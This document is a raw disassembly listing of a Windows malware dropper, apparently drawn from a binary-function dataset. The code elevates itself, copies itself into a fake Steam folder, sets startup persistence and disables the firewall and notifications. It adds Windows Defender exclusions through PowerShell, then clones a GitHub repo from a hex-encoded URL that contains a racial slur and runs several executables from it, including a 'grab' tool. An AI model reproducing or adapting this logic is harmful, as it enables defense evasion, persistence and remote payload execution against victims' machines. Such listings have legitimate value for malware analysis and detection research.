Function at 0x14000210d
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Get common file path
Query environment variable
Set file attributes
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0xe48
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0xde0]
mov qword [rbp + 0xd88], rax
call sym.verif_admin
cmp eax, 1
jne 0x1400021eb
lea rax, [rbp + 0x500]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp + 0x300]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x300], 0x70
lea rax, str.runas
mov qword [rbp + 0x310], rax
lea rax, [rbp + 0x500]
mov qword [rbp + 0x318], rax
mov qword [rbp + 0x308], 0
mov dword [rbp + 0x330], 1
lea rax, [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
jne 0x1400021eb
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0xdb8], eax
cmp dword [rbp + 0xdb8], 0x4c7
jne 0x1400021eb
mov eax, 1
jmp 0x1400027e4
mov ecx, 0
mov rax, qword [sym.imp.ole32.dll_CoInitialize]
call rax
test eax, eax
jns 0x140002207
mov eax, 1
jmp 0x1400027e4
lea rax, [rbp + 0xc80]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x140002233
mov eax, 1
jmp 0x1400027e4
movabs rax, 0x72676f72505c3a43
movabs rdx, 0x73656c6946206d61
mov qword [rbp + 0xb70], rax
mov qword [rbp + 0xb78], rdx
movabs rax, 0x535c293638782820
movabs rdx, 0x6e69625c6d616574
mov qword [rbp + 0xb80], rax
mov qword [rbp + 0xb88], rdx
mov qword [rbp + 0xb90], 0x5c
mov qword [rbp + 0xb98], 0
lea rdx, [rbp + 0xba0]
mov eax, 0
mov ecx, 0x1a
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0xb70]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
jne 0x14000231e
lea rax, [rbp + 0xb70]
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
call rax
test eax, eax
je 0x14000231e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0xdb4], eax
mov edx, dword [rbp + 0xdb4]
lea rax, [rbp + 0x500]
mov r8d, edx
lea rdx, str.La_cration_du_rpertoire_a_chou_avec_lerreur__d
mov rcx, rax
call sym.sprintf
mov eax, 1
jmp 0x1400027e4
lea rax, [rbp + 0xc80]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
call rax
mov qword [rbp + 0xda8], rax
mov rcx, qword [rbp + 0xda8]
lea rdx, [rbp + 0xb70]
lea rax, [rbp + 0xa60]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf
lea rax, [rbp + 0xc80]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
jne 0x140002383
mov eax, 1
jmp 0x1400027e4
lea rax, [rbp + 0xb70]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
jne 0x1400023a4
mov eax, 1
jmp 0x1400027e4
lea rdx, [rbp + 0xa60]
lea rax, [rbp + 0xc80]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
jne 0x140002400
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0xd94], eax
mov edx, dword [rbp + 0xd94]
lea rax, [rbp + 0x500]
mov r8d, edx
lea rdx, str.La_copie_du_fichier_a_chou_avec_lerreur__d
mov rcx, rax
call sym.sprintf
mov eax, 1
jmp 0x1400027e4
lea rax, [rbp + 0xa60]
mov rcx, rax
call sym.runOnStartup
call sym.python_check
call sym.check_deps
call sym.disable_fw
call sym.disable_ntf
lea rax, [rbp + 0x950]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
test eax, eax
js 0x1400027df
lea rax, [rbp + 0x950]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x950]
add rax, rdx
mov dword [rax], 0x6176415c
mov dword [rax + 3], 0x747361
lea rax, [rbp + 0x950]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
je 0x1400024a5
lea rax, [rbp + 0x950]
mov rcx, rax
call sym.DeleteDirectory
lea rax, [rbp + 0x950]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
test eax, eax
jne 0x1400024e6
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0xda4], eax
cmp dword [rbp + 0xda4], 0xb7
je 0x1400024e6
mov eax, 1
jmp 0x1400027e4
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov rdx, rax
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.strcpy
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0xd88]
mov r10, rdx
mov rcx, rax
call sym.dirname.0
mov qword [rbp + 0xd98], rax
mov rdx, qword [rbp + 0xd98]
lea rax, [rbp + 0x100]
mov r8, rdx
lea rdx, str.powershell__Command__Add_MpPreference__ExclusionPath__s_
mov rcx, rax
call sym.sprintf
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.sh
lea rax, [rbp + 0x300]
lea r8, str.C:ProgramData
lea rdx, str.powershell__Command__Add_MpPreference__ExclusionPath__s_
mov rcx, rax
call sym.sprintf
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.sh
lea rax, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartup
mov qword [rbp - 0x50], rax
lea rax, str.C:UsersmoiAppDataRoamingSubDir
mov qword [rbp - 0x48], rax
lea rax, str.C:WindowsSystem32Tasks
mov qword [rbp - 0x40], rax
lea rax, str.C:WindowsSystem32driversetc
mov qword [rbp - 0x38], rax
lea rax, str.C:UsersmoiAppDataLocalAvast
mov qword [rbp - 0x30], rax
lea rax, str.C:UsersmoiAppDataLocalTemp
mov qword [rbp - 0x28], rax
lea rax, str.C:UsersSystem32
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0
mov dword [rbp + 0xdbc], 0
jmp 0x140002619
mov eax, dword [rbp + 0xdbc]
cdqe
mov rdx, qword [rbp + rax*8 - 0x50]
lea rax, [rbp + 0x500]
mov r8, rdx
lea rdx, str.powershell__Command__Add_MpPreference__ExclusionPath__s_
mov rcx, rax
call sym.sprintf
lea rax, [rbp + 0x500]
mov rcx, rax
call sym.sh
add dword [rbp + 0xdbc], 1
mov eax, dword [rbp + 0xdbc]
cdqe
mov rax, qword [rbp + rax*8 - 0x50]
test rax, rax
jne 0x1400025dd
lea rax, [rbp + 0x950]
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
movabs rax, 0x2f2f3a7370747468
movabs rdx, 0x632e627568746967
mov qword [rbp + 0x920], rax
mov qword [rbp + 0x928], rdx
movabs rax, 0x6f7267656e2f6d6f
movabs rdx, 0x6f632d6d6f72662d
mov qword [rbp + 0x930], rax
mov qword [rbp + 0x938], rdx
movabs rax, 0x472f6e6f746f632d
movabs rdx, 0x7469672e626172
mov qword [rbp + 0x93d], rax
mov qword [rbp + 0x945], rdx
lea rdx, [rbp + 0x950]
lea rax, [rbp + 0x920]
mov rcx, rax
call sym.clone
lea rdx, [rbp + 0x950]
lea rax, [rbp + 0x810]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x810]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x810]
add rax, rdx
movabs rdx, 0x75625c626172675c
movabs rcx, 0x6578652e746c69
mov qword [rax], rdx
mov qword [rax + 8], rcx
lea rax, [rbp + 0x810]
mov rcx, rax
call sym.exec_file
lea rdx, [rbp + 0x950]
lea rax, [rbp + 0x700]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x700]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x700]
add rax, rdx
movabs rdi, 0x737369637561735c
mov qword [rax], rdi
movabs rdi, 0x6578652e657373
mov qword [rax + 6], rdi
lea rax, [rbp + 0x700]
mov rcx, rax
call sym.exec_file
lea rdx, [rbp + 0x950]
lea rax, [rbp + 0x700]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x700]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x700]
add rax, rdx
movabs rdi, 0x652e6d616574535c
mov qword [rax], rdi
mov dword [rax + 7], 0x657865
lea rax, [rbp + 0x700]
mov rcx, rax
call sym.exec_file
mov rax, qword [sym.imp.ole32.dll_CoUninitialize]
call rax
mov ecx, 0
call sym.exit
mov eax, 1
add rsp, 0xe48
pop rdi
pop rbp
ret